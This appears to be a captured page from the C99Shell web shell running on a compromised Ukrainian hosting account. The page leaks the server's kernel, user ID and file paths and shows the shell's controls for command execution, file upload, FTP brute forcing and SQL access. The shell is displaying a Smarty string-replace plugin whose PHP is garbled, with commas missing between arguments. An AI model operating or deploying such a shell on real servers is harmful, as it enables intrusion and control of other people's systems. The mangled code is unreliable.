!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/inet-tech.org.ua/smarty/plugins/   drwxr-xr-x
Free 116.98 GB of 200.55 GB (58.33%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     shared.mb_str_replace.php (1.71 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Smarty shared plugin
 *
 * @package Smarty
 * @subpackage PluginsShared
 */
if (!function_exists('smarty_mb_str_replace')) {

    
/**
     * Multibyte string replace
     *
     * @param string $search  the string to be searched
     * @param string $replace the replacement string
     * @param string $subject the source string
     * @param int    &$count  number of matches found
     * @return string replaced string
     * @author Rodney Rehm
     */
    
function smarty_mb_str_replace($search$replace$subject, &$count=0)
    {
        if (!
is_array($search) && is_array($replace)) {
            return 
false;
        }
        if (
is_array($subject)) {
            
// call mb_replace for each single string in $subject
            
foreach ($subject as &$string) {
                
$string = &smarty_mb_str_replace($search$replace$string$c);
                
$count += $c;
            }
        } elseif (
is_array($search)) {
            if (!
is_array($replace)) {
                foreach (
$search as &$string) {
                    
$subject smarty_mb_str_replace($string$replace$subject$c);
                    
$count += $c;
                }
            } else {
                
$n max(count($search), count($replace));
                while (
$n--) {
                    
$subject smarty_mb_str_replace(current($search), current($replace), $subject$c);
                    
$count += $c;
                    
next($search);
                    
next($replace);
                }
            }
        } else {
            
$parts mb_split(preg_quote($search), $subject);
            
$count count($parts) - 1;
            
$subject implode($replace$parts);
        }
        return 
$subject;
    }

}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0091 ]--